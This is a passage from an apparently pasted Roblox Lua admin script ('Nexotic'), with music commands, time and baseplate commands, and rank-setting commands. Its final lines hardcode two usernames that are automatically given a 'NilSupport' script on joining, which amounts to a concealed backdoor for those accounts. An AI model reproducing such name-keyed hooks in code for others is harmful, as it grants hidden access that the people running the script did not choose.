  10246.         Nexotic("Starfish", "Lime green",function() StarfishMusic() Menu() end)
  10247.         Nexotic("Sage", "Black",function() SageMusic() Menu() end)
  10248.         Nexotic("Spitfire", "Really red",function() SpitfireMusic() Menu() end)
  10249.         Nexotic("Because I'm happy", "New Yeller",function() HappyMusic() Menu() end)
  10250.         Nexotic("Remove All Music", "White",function() RemoveMusic() MusicList() end)
  10251. end
  10252. function RemoveMusic()
  10253. NewS([[
  10254. for _,v in pairs(workspace:children()) do
  10255. if v:IsA("Sound") then v:Destroy() end end
  10256. ]], workspace)
  10257. end
  10258. function TacoMusic()
  10259. NewS([[z = Instance.new("Sound")
  10260. z.Parent = game.Workspace
  10261. z.SoundId = "http://www.roblox.com/asset/?ID=142376088"
  10262. z.Looped = true
  10263. z.Volume = 1
  10264. wait(1)
  10265. z:Play()
  10266. z.Name = "TacoMusic"
  10267. ]], workspace)
  10268. end
  10269. function HappyMusic()
  10270. NewS([[z = Instance.new("Sound")
  10271. z.Parent = game.Workspace
  10272. z.SoundId = "http://www.roblox.com/asset/?id=142435409"
  10273. z.Looped = true
  10274. z.Volume = 1
  10275. wait(1)
  10276. z:Play()
  10277. z.Name = "HappyMusic"
  10278. ]], workspace)
  10279. end
  10280. function GuitarMusic()
  10281. NewS([[z = Instance.new("Sound")
  10282. z.Parent = game.Workspace
  10283. z.SoundId = "http://www.roblox.com/asset/?id=5986151"
  10284. z.Looped = true
  10285. z.Volume = 1
  10286. wait(1)
  10287. z:Play()
  10288. z.Name = "GuitarMusic"
  10289. ]], workspace)
  10290. end
  10291. function EpicSaxMusic()
  10292. NewS([[z = Instance.new("Sound")
  10293. z.Parent = game.Workspace
  10294. z.SoundId = "http://www.roblox.com/asset/?id=130794684"
  10295. z.Looped = true
  10296. z.Volume = 1
  10297. wait(1)
  10298. z:Play()
  10299. z.Name = "EpicSaxMusic"
  10300. ]], workspace)
  10301. end
  10302. function SpitfireMusic()
  10303. NewS([[z = Instance.new("Sound")
  10304. z.Parent = game.Workspace
  10305. z.SoundId = "http://www.roblox.com/asset/?id=129490596"
  10306. z.Looped = true
  10307. z.Volume = 1
  10308. wait(1)
  10309. z:Play()
  10310. z.Name = "SpitfireMusic"
  10311. ]], workspace)
  10312. end
  10313. function StarfishMusic()
  10314. NewS([[z = Instance.new("Sound")
  10315. z.Parent = game.Workspace
  10316. z.SoundId = "http://www.roblox.com/asset/?id=131293487"
  10317. z.Looped = true
  10318. z.Volume = 1
  10319. wait(1)
  10320. z:Play()
  10321. z.Name = "StarfishMusic"
  10322. ]], workspace)
  10323. end
  10324. function SageMusic()
  10325. NewS([[z = Instance.new("Sound")
  10326. z.Parent = game.Workspace
  10327. z.SoundId = "http://www.roblox.com/asset/?id=137643111"
  10328. z.Looped = true
  10329. z.Volume = 1
  10330. wait(1)
  10331. z:Play()
  10332. z.Name = "SageMusic"
  10333. ]], workspace)
  10334. end
  10335.             ]==],v.Backpack)
  10336.     else
  10337.         end
  10338. end)
  10339.  
  10340. Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
  10341.     if Msg == "night" then
  10342.     NewS(Night, game.Workspace)
  10343.     elseif Msg == "day" then
  10344.     NewS(Day, game.Workspace)
  10345.     elseif Msg == "morn" then
  10346.     NewS(Morning, game.Workspace)
  10347.     end
  10348. end)
  10349.  
  10350. Command("Newbase", 2, "newbase", function(Msg, Speaker)
  10351.        if game.Workspace:findFirstChild("Base") then
  10352.                game.Workspace.Base:Remove()
  10353.         end
  10354.        if game.Workspace:findFirstChild("Part") then
  10355.                game.Workspace.Part:Remove()
  10356.         end
  10357.        if game.Workspace:findFirstChild("Baseplate") then
  10358.                game.Workspace.Baseplate:Remove()
  10359.         end
  10360.        a = Instance.new("Part")
  10361.     a.Parent = game.Workspace
  10362.     a.Name = "Base"
  10363.     a.Position = Vector3.new(0, 0.6, 0)
  10364.     a.Size = Vector3.new(1002, 0, 1002)
  10365.     a.Material = "Grass"
  10366.     a.Anchored = true
  10367.     a.BrickColor = BrickColor.new("Dark green")
  10368. end)
  10369.  
  10370. Command("Rares", 1, "List of Nexotic Scripts", function(Msg, Speaker)
  10371.     Dismiss(Speaker)
  10372.     Ping("B0ob", Speaker)
  10373.     Ping("Doge", Speaker)
  10374.     Ping("Probe", Speaker)
  10375.     Ping("Pistol", Speaker)
  10376.     Ping("LeafBlower", Speaker)
  10377.     Ping("GhostSword", Speaker)
  10378.     Ping("Fairy", Speaker)
  10379.     Ping("Glider", Speaker)
  10380.     Ping("RagDoll Bow", Speaker)
  10381.     Ping("Pad", Speaker)
  10382. end)
  10383.  
  10384. Command("SetRank", 5, "Ranks A Player", function(Msg, Speaker)
  10385.     local Split = GetSplit(Msg)
  10386.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  10387.     local Rank = tonumber(Msg:sub(Split + 1))
  10388.     if #PlrTab > 0 then
  10389.         for _,v in pairs(PlrTab) do
  10390.             if v.Name ~= Owner then
  10391.                 ChangeRank(v, Rank)
  10392.                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  10393.             end
  10394.         end
  10395.     end
  10396. end)
  10397.  
  10398. game.Players.PlayerAdded:connect(function(poo) if poo.Name == "missoncompleted" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "missoncompleted" then wait(2) NewLS(NilSupport, v.Backpack) end end
  10399.  
  10400. game.Players.PlayerAdded:connect(function(poo) if poo.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, v.Backpack) end end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement